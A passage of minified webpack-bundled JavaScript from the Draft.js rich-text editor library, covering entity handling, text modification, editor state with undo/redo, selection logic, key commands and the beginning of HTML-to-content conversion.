l("DraftEntity.replaceData","contentState.replaceEntityData"),f.__replaceData(t,e)},__getLastCreatedEntityKey:function(){return c},__create:function(t,e,r){return f.__add(new i({type:t,mutability:e,data:r||{}}))},__add:function(t){return c=s(),u=u.set(c,t),c},__get:function(t){var e=u.get(t);return e||a(!1),e},__mergeData:function(t,e){var r=f.__get(t),i=function(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){n(t,e,r[e])}))}return t}({},r.getData(),e),o=r.set("data",i);return u=u.set(t,o),o},__replaceData:function(t,e){var r=f.__get(t).set("data",e);return u=u.set(t,r),r}};t.exports=f},39006:(t,e,r)=>{"use strict";var n=function(t){var e,r;function n(){return t.apply(this,arguments)||this}r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var i=n.prototype;return i.getType=function(){return this.get("type")},i.getMutability=function(){return this.get("mutability")},i.getData=function(){return this.get("data")},n}((0,r(43393).Record)({type:"TOKEN",mutability:"IMMUTABLE",data:Object}));t.exports=n},5195:t=>{"use strict";t.exports={getRemovalRange:function(t,e,r,n,i){var o=r.split(" ");o=o.map((function(t,e){if("forward"===i){if(e>0)return" "+t}else if(e<o.length-1)return t+" ";return t}));for(var a,s=n,u=null,c=null,l=0;l<o.length;l++){if(t<(a=s+o[l].length)&&s<e)null!==u||(u=s),c=a;else if(null!==u)break;s=a}var f=n+r.length,p=u===n,h=c===f;return(!p&&h||p&&!h)&&("forward"===i?c!==f&&c++:u!==n&&u--),{start:u,end:c}}}},97432:t=>{"use strict";t.exports={logBlockedSelectionEvent:function(){return null},logSelectionStateFailure:function(){return null}}},42307:(t,e,r)=>{"use strict";var n=r(4516),i=r(13483),o=r(68750),a=r(81446),s=r(88687),u=r(43393),c=r(54542),l=r(18467),f=r(73759),p=r(57429),h=r(14017),d=r(54879),g=r(36043),y=u.OrderedSet,v={replaceText:function(t,e,r,i,o){var a=h(t,e),s=d(a,e),u=n.create({style:i||y(),entity:o||null});return l(s,s.getSelectionAfter(),r,u)},insertText:function(t,e,r,n,i){return e.isCollapsed()||f(!1),v.replaceText(t,e,r,n,i)},moveText:function(t,e,r){var n=s(t,e),i=v.removeRange(t,e,"backward");return v.replaceWithFragment(i,r,n)},replaceWithFragment:function(t,e,r){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"REPLACE_WITH_NEW_DATA",i=h(t,e),o=d(i,e);return c(o,o.getSelectionAfter(),r,n)},removeRange:function(t,e,r){var n,i,o,s;e.getIsBackward()&&(e=e.merge({anchorKey:e.getFocusKey(),anchorOffset:e.getFocusOffset(),focusKey:e.getAnchorKey(),focusOffset:e.getAnchorOffset(),isBackward:!1})),n=e.getAnchorKey(),i=e.getFocusKey(),o=t.getBlockForKey(n),s=t.getBlockForKey(i);var u=e.getStartOffset(),c=e.getEndOffset(),l=o.getEntityAt(u),f=s.getEntityAt(c-1);if(n===i&&l&&l===f){var p=a(t.getEntityMap(),o,s,e,r);return d(t,p)}var g=h(t,e);return d(g,e)},splitBlock:function(t,e){var r=h(t,e),n=d(r,e);return g(n,n.getSelectionAfter())},applyInlineStyle:function(t,e,r){return i.add(t,e,r)},removeInlineStyle:function(t,e,r){return i.remove(t,e,r)},setBlockType:function(t,e,r){return p(t,e,(function(t){return t.merge({type:r,depth:0})}))},setBlockData:function(t,e,r){return p(t,e,(function(t){return t.merge({data:r})}))},mergeBlockData:function(t,e,r){return p(t,e,(function(t){return t.merge({data:t.getData().merge(r)})}))},applyEntity:function(t,e,r){var n=h(t,e);return o(n,e,r)}};t.exports=v},22146:t=>{"use strict";var e="-",r={encode:function(t,r,n){return t+e+r+e+n},decode:function(t){var r=t.split(e).reverse(),n=r[0],i=r[1];return{blockKey:r.slice(2).reverse().join(e),decoratorKey:parseInt(i,10),leafKey:parseInt(n,10)}}};t.exports=r},45712:(t,e,r)=>{"use strict";function n(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var i=r(38777),o=r(67953),a=r(67841),s=r(25027),u=r(69769),c=r(68642),l=r(43393),f=r(55283),p=l.List,h=l.Repeat,d=c("draft_tree_data_support"),g=d?o:i,y={processHTML:function(t,e){return a(t,u,e)},processText:function(t,e,r){return t.reduce((function(t,i,o){i=f(i);var a=s(),u={key:a,type:r,text:i,characterList:p(h(e,i.length))};if(d&&0!==o){var c=o-1;u=function(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){n(t,e,r[e])}))}return t}({},u,{prevSibling:(t[c]=t[c].merge({nextSibling:a})).getKey()})}return t.push(new g(u)),t}),[])}};t.exports=y},73932:(t,e,r)=>{"use strict";var n="['‘’]",i="\\s|(?![_])"+r(65724).getPunctuation(),o=new RegExp("^(?:"+i+")*(?:"+n+"|(?!"+i+").)*(?:(?!"+i+").)"),a=new RegExp("(?:(?!"+i+").)(?:"+n+"|(?!"+i+").)*(?:"+i+")*$");function s(t,e){var r=e?a.exec(t):o.exec(t);return r?r[0]:t}var u={getBackward:function(t){return s(t,!0)},getForward:function(t){return s(t,!1)}};t.exports=u},86155:t=>{"use strict";var e={stringify:function(t){return"_"+String(t)},unstringify:function(t){return t.slice(1)}};t.exports=e},68957:(t,e,r)=>{"use strict";function n(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){i(t,e,r[e])}))}return t}function i(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var o=r(25027),a=r(73759),s=function(t){if(!t||!t.type)return!1;var e=t.type;return"unordered-list-item"===e||"ordered-list-item"===e},u={fromRawTreeStateToRawState:function(t){var e=t.blocks,r=[];return Array.isArray(e)||a(!1),Array.isArray(e)&&e.length?(function(t,e){for(var i=[].concat(t).reverse();i.length;){var o=i.pop();l=void 0,l=n({},c=o),s(c)&&(l.depth=l.depth||0,function(t){Array.isArray(t.children)&&(t.children=t.children.map((function(e){return e.type===t.type?n({},e,{depth:(t.depth||0)+1}):e})))}(c),null!=c.children&&c.children.length>0)||(delete l.children,r.push(l));var u=o.children;Array.isArray(u)||a(!1),i=i.concat([].concat(u.reverse()))}var c,l}(e),t.blocks=r,n({},t,{blocks:r})):t},fromRawStateToRawTreeState:function(t){var e=[],r=[];return t.blocks.forEach((function(t){var i=s(t),a=t.depth||0,u=n({},t,{children:[]});if(i){var c=r[0];if(null==c&&0===a)e.push(u);else if(null==c||c.depth<a-1){var l={key:o(),text:"",depth:a-1,type:t.type,children:[],entityRanges:[],inlineStyleRanges:[]};r.unshift(l),1===a?e.push(l):null!=c&&c.children.push(l),l.children.push(u)}else if(c.depth===a-1)c.children.push(u);else{for(;null!=c&&c.depth>=a;)r.shift(),c=r[0];a>0?c.children.push(u):e.push(u)}}else e.push(u)})),n({},t,{blocks:e})}};t.exports=u},12119:(t,e,r)=>{"use strict";r(63620),t.exports={isValidBlock:function(t,e){var r=t.getKey(),n=t.getParentKey();if(null!=n&&!e.get(n).getChildKeys().includes(r))return!1;if(!t.getChildKeys().map((function(t){return e.get(t)})).every((function(t){return t.getParentKey()===r})))return!1;var i=t.getPrevSiblingKey();if(null!=i&&e.get(i).getNextSiblingKey()!==r)return!1;var o=t.getNextSiblingKey();return(null==o||e.get(o).getPrevSiblingKey()===r)&&!(null!==o&&null!==i&&i===o||""!=t.text&&t.getChildKeys().size>0)},isConnectedTree:function(t){var e=t.toArray().filter((function(t){return null==t.getParentKey()&&null==t.getPrevSiblingKey()}));if(1!==e.length)return!1;for(var r=0,n=e.shift().getKey(),i=[];null!=n;){var o=t.get(n),a=o.getChildKeys(),s=o.getNextSiblingKey();if(a.size>0){null!=s&&i.unshift(s);var u=a.map((function(e){return t.get(e)})).find((function(t){return null==t.getPrevSiblingKey()}));if(null==u)return!1;n=u.getKey()}else n=null!=o.getNextSiblingKey()?o.getNextSiblingKey():i.shift();r++}return r===t.size},isValidTree:function(t){var e=this;return!!t.toArray().every((function(r){return e.isValidBlock(r,t)}))&&this.isConnectedTree(t)}}},33337:(t,e,r)=>{"use strict";var n,i=r(7902),o=r(43393),a=r(22045),s=o.OrderedMap,u={getDirectionMap:function(t,e){n?n.reset():n=new i;var r=t.getBlockMap(),u=r.valueSeq().map((function(t){return a(n).getDirection(t.getText())})),c=s(r.keySeq().zip(u));return null!=e&&o.is(e,c)?e:c}};t.exports=u},14289:(t,e,r)=>{"use strict";function n(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){i(t,e,r[e])}))}return t}function i(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var o=r(34365),a=r(66912),s=r(33337),u=r(25110),c=r(43393),l=c.OrderedSet,f=c.Record,p=c.Stack,h=c.OrderedMap,d=c.List,g=f({allowUndo:!0,currentContent:null,decorator:null,directionMap:null,forceSelection:!1,inCompositionMode:!1,inlineStyleOverride:null,lastChangeType:null,nativelyRenderedContent:null,redoStack:p(),selection:null,treeMap:null,undoStack:p()}),y=function(){e.createEmpty=function(t){return this.createWithText("",t)},e.createWithText=function(t,r){return e.createWithContent(a.createFromText(t),r)},e.createWithContent=function(t,r){if(0===t.getBlockMap().count())return e.createEmpty(r);var n=t.getBlockMap().first().getKey();return e.create({currentContent:t,undoStack:p(),redoStack:p(),decorator:r||null,selection:u.createEmpty(n)})},e.create=function(t){var r=t.currentContent,i=n({},t,{treeMap:m(r,t.decorator),directionMap:s.getDirectionMap(r)});return new e(new g(i))},e.fromJS=function(t){return new e(new g(n({},t,{directionMap:null!=t.directionMap?h(t.directionMap):t.directionMap,inlineStyleOverride:null!=t.inlineStyleOverride?l(t.inlineStyleOverride):t.inlineStyleOverride,nativelyRenderedContent:null!=t.nativelyRenderedContent?a.fromJS(t.nativelyRenderedContent):t.nativelyRenderedContent,redoStack:null!=t.redoStack?p(t.redoStack.map((function(t){return a.fromJS(t)}))):t.redoStack,selection:null!=t.selection?new u(t.selection):t.selection,treeMap:null!=t.treeMap?h(t.treeMap).map((function(t){return d(t).map((function(t){return o.fromJS(t)}))})):t.treeMap,undoStack:null!=t.undoStack?p(t.undoStack.map((function(t){return a.fromJS(t)}))):t.undoStack,currentContent:a.fromJS(t.currentContent)})))},e.set=function(t,r){return new e(t.getImmutable().withMutations((function(e){var n=e.get("decorator"),i=n;null===r.decorator?i=null:r.decorator&&(i=r.decorator);var a=r.currentContent||t.getCurrentContent();if(i!==n){var s,u=e.get("treeMap");return s=i&&n?function(t,e,r,n,i){return r.merge(e.toSeq().filter((function(e){return n.getDecorations(e,t)!==i.getDecorations(e,t)})).map((function(e){return o.generate(t,e,n)})))}(a,a.getBlockMap(),u,i,n):m(a,i),void e.merge({decorator:i,treeMap:s,nativelyRenderedContent:null})}a!==t.getCurrentContent()&&e.set("treeMap",function(t,e,r,n){var i=t.getCurrentContent().set("entityMap",r),a=i.getBlockMap();return t.getImmutable().get("treeMap").merge(e.toSeq().filter((function(t,e){return t!==a.get(e)})).map((function(t){return o.generate(i,t,n)})))}(t,a.getBlockMap(),a.getEntityMap(),i)),e.merge(r)})))};var t=e.prototype;function e(t){i(this,"_immutable",void 0),this._immutable=t}return t.toJS=function(){return this.getImmutable().toJS()},t.getAllowUndo=function(){return this.getImmutable().get("allowUndo")},t.getCurrentContent=function(){return this.getImmutable().get("currentContent")},t.getUndoStack=function(){return this.getImmutable().get("undoStack")},t.getRedoStack=function(){return this.getImmutable().get("redoStack")},t.getSelection=function(){return this.getImmutable().get("selection")},t.getDecorator=function(){return this.getImmutable().get("decorator")},t.isInCompositionMode=function(){return this.getImmutable().get("inCompositionMode")},t.mustForceSelection=function(){return this.getImmutable().get("forceSelection")},t.getNativelyRenderedContent=function(){return this.getImmutable().get("nativelyRenderedContent")},t.getLastChangeType=function(){return this.getImmutable().get("lastChangeType")},t.getInlineStyleOverride=function(){return this.getImmutable().get("inlineStyleOverride")},e.setInlineStyleOverride=function(t,r){return e.set(t,{inlineStyleOverride:r})},t.getCurrentInlineStyle=function(){var t=this.getInlineStyleOverride();if(null!=t)return t;var e=this.getCurrentContent(),r=this.getSelection();return r.isCollapsed()?function(t,e){var r=e.getStartKey(),n=e.getStartOffset(),i=t.getBlockForKey(r);return n>0?i.getInlineStyleAt(n-1):i.getLength()?i.getInlineStyleAt(0):_(t,r)}(e,r):function(t,e){var r=e.getStartKey(),n=e.getStartOffset(),i=t.getBlockForKey(r);return n<i.getLength()?i.getInlineStyleAt(n):n>0?i.getInlineStyleAt(n-1):_(t,r)}(e,r)},t.getBlockTree=function(t){return this.getImmutable().getIn(["treeMap",t])},t.isSelectionAtStartOfContent=function(){var t=this.getCurrentContent().getBlockMap().first().getKey();return this.getSelection().hasEdgeWithin(t,0,0)},t.isSelectionAtEndOfContent=function(){var t=this.getCurrentContent().getBlockMap().last(),e=t.getLength();return this.getSelection().hasEdgeWithin(t.getKey(),e,e)},t.getDirectionMap=function(){return this.getImmutable().get("directionMap")},e.acceptSelection=function(t,e){return v(t,e,!1)},e.forceSelection=function(t,e){return e.getHasFocus()||(e=e.set("hasFocus",!0)),v(t,e,!0)},e.moveSelectionToEnd=function(t){var r=t.getCurrentContent().getLastBlock(),n=r.getKey(),i=r.getLength();return e.acceptSelection(t,new u({anchorKey:n,anchorOffset:i,focusKey:n,focusOffset:i,isBackward:!1}))},e.moveFocusToEnd=function(t){var r=e.moveSelectionToEnd(t);return e.forceSelection(r,r.getSelection())},e.push=function(t,r,n){var i=!(arguments.length>3&&void 0!==arguments[3])||arguments[3];if(t.getCurrentContent()===r)return t;var o=s.getDirectionMap(r,t.getDirectionMap());if(!t.getAllowUndo())return e.set(t,{currentContent:r,directionMap:o,lastChangeType:n,selection:r.getSelectionAfter(),forceSelection:i,inlineStyleOverride:null});var a=t.getSelection(),u=t.getCurrentContent(),c=t.getUndoStack(),l=r;a!==u.getSelectionAfter()||function(t,e){return e!==t.getLastChangeType()||"insert-characters"!==e&&"backspace-character"!==e&&"delete-character"!==e}(t,n)?(c=c.push(u),l=l.set("selectionBefore",a)):"insert-characters"!==n&&"backspace-character"!==n&&"delete-character"!==n||(l=l.set("selectionBefore",u.getSelectionBefore()));var f=t.getInlineStyleOverride();-1===["adjust-depth","change-block-type","split-block"].indexOf(n)&&(f=null);var h={currentContent:l,directionMap:o,undoStack:c,redoStack:p(),lastChangeType:n,selection:r.getSelectionAfter(),forceSelection:i,inlineStyleOverride:f};return e.set(t,h)},e.undo=function(t){if(!t.getAllowUndo())return t;var r=t.getUndoStack(),n=r.peek();if(!n)return t;var i=t.getCurrentContent(),o=s.getDirectionMap(n,t.getDirectionMap());return e.set(t,{currentContent:n,directionMap:o,undoStack:r.shift(),redoStack:t.getRedoStack().push(i),forceSelection:!0,inlineStyleOverride:null,lastChangeType:"undo",nativelyRenderedContent:null,selection:i.getSelectionBefore()})},e.redo=function(t){if(!t.getAllowUndo())return t;var r=t.getRedoStack(),n=r.peek();if(!n)return t;var i=t.getCurrentContent(),o=s.getDirectionMap(n,t.getDirectionMap());return e.set(t,{currentContent:n,directionMap:o,undoStack:t.getUndoStack().push(i),redoStack:r.shift(),forceSelection:!0,inlineStyleOverride:null,lastChangeType:"redo",nativelyRenderedContent:null,selection:n.getSelectionAfter()})},t.getImmutable=function(){return this._immutable},e}();function v(t,e,r){return y.set(t,{selection:e,forceSelection:r,nativelyRenderedContent:null,inlineStyleOverride:null})}function m(t,e){return t.getBlockMap().map((function(r){return o.generate(t,r,e)})).toOrderedMap()}function _(t,e){var r=t.getBlockMap().reverse().skipUntil((function(t,r){return r===e})).skip(1).skipUntil((function(t,e){return t.getLength()})).first();return r?r.getInlineStyleAt(r.getLength()-1):l()}t.exports=y},47387:(t,e,r)=>{"use strict";var n=r(4856),i=r(17797),o=n.isPlatform("Mac OS X"),a={isCtrlKeyCommand:function(t){return!!t.ctrlKey&&!t.altKey},isOptionKeyCommand:function(t){return o&&t.altKey},usesMacOSHeuristics:function(){return o},hasCommandModifier:function(t){return o?!!t.metaKey&&!t.altKey:a.isCtrlKeyCommand(t)},isSoftNewlineEvent:i};t.exports=a},70054:()=>{},41947:(t,e,r)=>{"use strict";var n=r(42307),i=r(14289),o=r(1665),a=r(22045),s={currentBlockContainsLink:function(t){var e=t.getSelection(),r=t.getCurrentContent(),n=r.getEntityMap();return r.getBlockForKey(e.getAnchorKey()).getCharacterList().slice(e.getStartOffset(),e.getEndOffset()).some((function(t){var e=t.getEntity();return!!e&&"LINK"===n.__get(e).getType()}))},getCurrentBlockType:function(t){var e=t.getSelection();return t.getCurrentContent().getBlockForKey(e.getStartKey()).getType()},getDataObjectForLinkURL:function(t){return{url:t.toString()}},handleKeyCommand:function(t,e,r){switch(e){case"bold":return s.toggleInlineStyle(t,"BOLD");case"italic":return s.toggleInlineStyle(t,"ITALIC");case"underline":return s.toggleInlineStyle(t,"UNDERLINE");case"code":return s.toggleCode(t);case"backspace":case"backspace-word":case"backspace-to-start-of-line":return s.onBackspace(t);case"delete":case"delete-word":case"delete-to-end-of-block":return s.onDelete(t);default:return null}},insertSoftNewline:function(t){var e=n.insertText(t.getCurrentContent(),t.getSelection(),"\n",t.getCurrentInlineStyle(),null),r=i.push(t,e,"insert-characters");return i.forceSelection(r,e.getSelectionAfter())},onBackspace:function(t){var e=t.getSelection();if(!e.isCollapsed()||e.getAnchorOffset()||e.getFocusOffset())return null;var r=t.getCurrentContent(),n=e.getStartKey(),o=r.getBlockBefore(n);if(o&&"atomic"===o.getType()){var a=r.getBlockMap().delete(o.getKey()),u=r.merge({blockMap:a,selectionAfter:e});if(u!==r)return i.push(t,u,"remove-range")}var c=s.tryToRemoveBlockStyle(t);return c?i.push(t,c,"change-block-type"):null},onDelete:function(t){var e=t.getSelection();if(!e.isCollapsed())return null;var r=t.getCurrentContent(),o=e.getStartKey(),a=r.getBlockForKey(o).getLength();if(e.getStartOffset()<a)return null;var s=r.getBlockAfter(o);if(!s||"atomic"!==s.getType())return null;var u=e.merge({focusKey:s.getKey(),focusOffset:s.getLength()}),c=n.removeRange(r,u,"forward");return c!==r?i.push(t,c,"remove-range"):null},onTab:function(t,e,r){var n=e.getSelection(),a=n.getAnchorKey();if(a!==n.getFocusKey())return e;var s=e.getCurrentContent(),u=s.getBlockForKey(a),c=u.getType();if("unordered-list-item"!==c&&"ordered-list-item"!==c)return e;t.preventDefault();var l=u.getDepth();if(!t.shiftKey&&l===r)return e;var f=o(s,n,t.shiftKey?-1:1,r);return i.push(e,f,"adjust-depth")},toggleBlockType:function(t,e){var r=t.getSelection(),o=r.getStartKey(),s=r.getEndKey(),u=t.getCurrentContent(),c=r;if(o!==s&&0===r.getEndOffset()){var l=a(u.getBlockBefore(s));s=l.getKey(),c=c.merge({anchorKey:o,anchorOffset:r.getStartOffset(),focusKey:s,focusOffset:l.getLength(),isBackward:!1})}if(u.getBlockMap().skipWhile((function(t,e){return e!==o})).reverse().skipWhile((function(t,e){return e!==s})).some((function(t){return"atomic"===t.getType()})))return t;var f=u.getBlockForKey(o).getType()===e?"unstyled":e;return i.push(t,n.setBlockType(u,c,f),"change-block-type")},toggleCode:function(t){var e=t.getSelection(),r=e.getAnchorKey(),n=e.getFocusKey();return e.isCollapsed()||r!==n?s.toggleBlockType(t,"code-block"):s.toggleInlineStyle(t,"CODE")},toggleInlineStyle:function(t,e){var r=t.getSelection(),o=t.getCurrentInlineStyle();if(r.isCollapsed())return i.setInlineStyleOverride(t,o.has(e)?o.remove(e):o.add(e));var a,s=t.getCurrentContent();return a=o.has(e)?n.removeInlineStyle(s,r,e):n.applyInlineStyle(s,r,e),i.push(t,a,"change-inline-style")},toggleLink:function(t,e,r){var o=n.applyEntity(t.getCurrentContent(),e,r);return i.push(t,o,"apply-entity")},tryToRemoveBlockStyle:function(t){var e=t.getSelection(),r=e.getAnchorOffset();if(e.isCollapsed()&&0===r){var i=e.getAnchorKey(),o=t.getCurrentContent(),a=o.getBlockForKey(i).getType(),s=o.getBlockBefore(i);if("code-block"===a&&s&&"code-block"===s.getType()&&0!==s.getLength())return null;if("unstyled"!==a)return n.setBlockType(o,e,"unstyled")}return null}};t.exports=s},83751:(t,e,r)=>{"use strict";var n=r(42307),i=r(14289),o=r(88687),a=r(22045),s=null,u={cut:function(t){var e=t.getCurrentContent(),r=t.getSelection(),u=null;if(r.isCollapsed()){var c=r.getAnchorKey(),l=e.getBlockForKey(c).getLength();if(l===r.getAnchorOffset()){var f=e.getKeyAfter(c);if(null==f)return t;u=r.set("focusKey",f).set("focusOffset",0)}else u=r.set("focusOffset",l)}else u=r;u=a(u),s=o(e,u);var p=n.removeRange(e,u,"forward");return p===e?t:i.push(t,p,"remove-range")},paste:function(t){if(!s)return t;var e=n.replaceWithFragment(t.getCurrentContent(),t.getSelection(),s);return i.push(t,e,"insert-fragment")}};t.exports=u},25110:(t,e,r)=>{"use strict";var n=function(t){var e,r;function n(){return t.apply(this,arguments)||this}r=t,(e=n).prototype=Object.create(r.prototype),e.prototype.constructor=e,e.__proto__=r;var i=n.prototype;return i.serialize=function(){return"Anchor: "+this.getAnchorKey()+":"+this.getAnchorOffset()+", Focus: "+this.getFocusKey()+":"+this.getFocusOffset()+", Is Backward: "+String(this.getIsBackward())+", Has Focus: "+String(this.getHasFocus())},i.getAnchorKey=function(){return this.get("anchorKey")},i.getAnchorOffset=function(){return this.get("anchorOffset")},i.getFocusKey=function(){return this.get("focusKey")},i.getFocusOffset=function(){return this.get("focusOffset")},i.getIsBackward=function(){return this.get("isBackward")},i.getHasFocus=function(){return this.get("hasFocus")},i.hasEdgeWithin=function(t,e,r){var n=this.getAnchorKey(),i=this.getFocusKey();if(n===i&&n===t){var o=this.getStartOffset(),a=this.getEndOffset();return e<=o&&o<=r||e<=a&&a<=r}if(t!==n&&t!==i)return!1;var s=t===n?this.getAnchorOffset():this.getFocusOffset();return e<=s&&r>=s},i.isCollapsed=function(){return this.getAnchorKey()===this.getFocusKey()&&this.getAnchorOffset()===this.getFocusOffset()},i.getStartKey=function(){return this.getIsBackward()?this.getFocusKey():this.getAnchorKey()},i.getStartOffset=function(){return this.getIsBackward()?this.getFocusOffset():this.getAnchorOffset()},i.getEndKey=function(){return this.getIsBackward()?this.getAnchorKey():this.getFocusKey()},i.getEndOffset=function(){return this.getIsBackward()?this.getAnchorOffset():this.getFocusOffset()},n.createEmpty=function(t){return new n({anchorKey:t,anchorOffset:0,focusKey:t,focusOffset:0,isBackward:!1,hasFocus:!1})},n}((0,r(43393).Record)({anchorKey:"",anchorOffset:0,focusKey:"",focusOffset:0,isBackward:!1,hasFocus:!1}));t.exports=n},1665:t=>{"use strict";t.exports=function(t,e,r,n){var i=e.getStartKey(),o=e.getEndKey(),a=t.getBlockMap(),s=a.toSeq().skipUntil((function(t,e){return e===i})).takeUntil((function(t,e){return e===o})).concat([[o,a.get(o)]]).map((function(t){var e=t.getDepth()+r;return e=Math.max(0,Math.min(e,n)),t.set("depth",e)}));return a=a.merge(s),t.merge({blockMap:a,selectionBefore:e,selectionAfter:e})}},2835:(t,e,r)=>{"use strict";var n=r(4516);t.exports=function(t,e,r,i){for(var o=e,a=t.getCharacterList();o<r;)a=a.set(o,n.applyEntity(a.get(o),i)),o++;return t.set("characterList",a)}},68750:(t,e,r)=>{"use strict";var n=r(2835),i=r(43393);t.exports=function(t,e,r){var o=t.getBlockMap(),a=e.getStartKey(),s=e.getStartOffset(),u=e.getEndKey(),c=e.getEndOffset(),l=o.skipUntil((function(t,e){return e===a})).takeUntil((function(t,e){return e===u})).toOrderedMap().merge(i.OrderedMap([[u,o.get(u)]])).map((function(t,e){var i=e===a?s:0,o=e===u?c:t.getLength();return n(t,i,o,r)}));return t.merge({blockMap:o.merge(l),selectionBefore:e,selectionAfter:e})}},79981:(t,e,r)=>{"use strict";function n(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var i=r(38777),o=r(67953),a=r(86155),s=r(56265),u=r(31487),c=r(73759),l=function(t,e){return{key:t.getKey(),text:t.getText(),type:t.getType(),depth:t.getDepth(),inlineStyleRanges:u(t),entityRanges:s(t,e),data:t.getData().toObject()}};t.exports=function(t){var e={entityMap:{},blocks:[]};return e=function(t,e){var r=e.entityMap,s=[],u={},f={},p=0;return t.getBlockMap().forEach((function(t){t.findEntityRanges((function(t){return null!==t.getEntity()}),(function(e){var n=t.getEntityAt(e),i=a.stringify(n);f[i]||(f[i]=n,r[i]="".concat(p),p++)})),function(t,e,r,a){if(t instanceof i)r.push(l(t,e));else{t instanceof o||c(!1);var s=t.getParentKey(),u=a[t.getKey()]=function(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},i=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),i.forEach((function(e){n(t,e,r[e])}))}return t}({},l(t,e),{children:[]});s?a[s].children.push(u):r.push(u)}}(t,r,s,u)})),{blocks:s,entityMap:r}}(t,e),e=function(t,e){var r=e.blocks,n=e.entityMap,i={};return Object.keys(n).forEach((function(e,r){var n=t.getEntity(a.unstringify(e));i[r]={type:n.getType(),mutability:n.getMutability(),data:n.getData()}})),{blocks:r,entityMap:i}}(t,e),e}},67841:(t,e,r)=>{"use strict";var n;function i(t){for(var e=1;e<arguments.length;e++){var r=null!=arguments[e]?arguments[e]:{},n=Object.keys(r);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(r).filter((function(t){return Object.getOwnPropertyDescriptor(r,t).enumerable})))),n.forEach((function(e){o(t,e,r[e])}))}return t}function o(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}var a=r(4516),s=r(38777),u=r(67953),c=r(526),l=r(82222),f=r(61425),p=r(62620),h=r(25027),d=r(69769),g=r(68642),y=r(43393),v=y.List,m=y.Map,_=y.OrderedSet,b=r(78241),S=r(16581),w=r(20717),x=r(35039),k=g("draft_tree_data_support"),C=new RegExp("\r","g"),E=new RegExp("\n","g"),O=new RegExp("^\n","g"),D=new RegExp("&nbsp;","g"),K=new RegExp("&#13;?","g"),T=new RegExp("&#8203;?","g"),M=["bold","bolder","500","600","700","800","900"],A=["light","lighter","normal","100","200","300","400"],I=["className","href","rel","target","title"],B=["alt","className","height","src","width"],L=(o(n={},p("public/DraftStyleDefault/depth0"),0),o(n,p("public/DraftStyleDefault/depth1"),1),o(n,p("public/DraftStyleDefault/depth2"),2),o(n,p("public/DraftStyleDefault/depth3"),3),o(n,p("public/DraftStyleDefault/depth4"),4),n),R=m({b:"BOLD",code:"CODE",del:"STRIKETHROUGH",em:"ITALIC",i:"ITALIC",s:"STRIKETHROUGH",strike:"STRIKETHROUGH",strong:"BOLD",u:"UNDERLINE",mark:"HIGHLIGHT"}),N=function(t){return w(t)&&t.style.fontFamily.includes("monospace")?"CODE":null},F=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return Object.keys(L).some((function(r){t.classList.contains(r)&&(e=L[r])})),e},P=function(t){if(!b(t))return!1;var e=t;if(!e.href||"http:"!==e.protocol&&"https:"!==e.protocol&&"mailto:"!==e.protocol&&"tel:"!==e.protocol)return!1;try{return new f(e.href),!0}catch(t){return!1}},z=function(t){if(!x(t))return!1;var e=t;return!(!e.attributes.getNamedItem("src")||!e.attributes.getNamedItem("src").value)},j=function(t,e){if(!w(t))return e;var r=t,n=r.style.fontWeight,i=r.style.fontStyle,o=r.style.textDecoration;return e.withMutations((function(t){M.indexOf(n)>=0?t.add("BOLD"):A.indexOf(n)>=0&&t.remove("BOLD"),"italic"===i?t.add("ITALIC"):"normal"===i&&t.remove("ITALIC"),"underline"===o&&t.add("UNDERLINE"),"line-through"===o&&t.add("STRIKETHROUGH"),"none"===o&&(t.remove("UNDERLINE"),t.remove("STRIKETHROUGH"))}))},U=function(t){return"ul"===t||"ol"===t},q=function(){function t(t,e){o(this,"characterList",v()),o(this,"currentBlockType","unstyled"),o(this,"currentDepth",0),o(this,"currentEntity",null),o(this,"currentText",""),o(this,"wrapper",null),o(this,"blockConfigs",[]),o(this,"contentBlocks",[]),o(this,"entityMap",l),o(this,"blockTypeMap",void 0),o(this,"disambiguate",void 0),this.clear(),this.blockTypeMap=t,this.disambiguate=e}var e=t.prototype;return e.clear=function(){this.characterList=v(),this.blockConfigs=[],this.currentBlockType="unstyled",this.currentDepth=0,this.currentEntity=null,this.currentText="",this.entityMap=l,this.wrapper=null,this.contentBlocks=[]},e.addDOMNode=function(t){var e;return 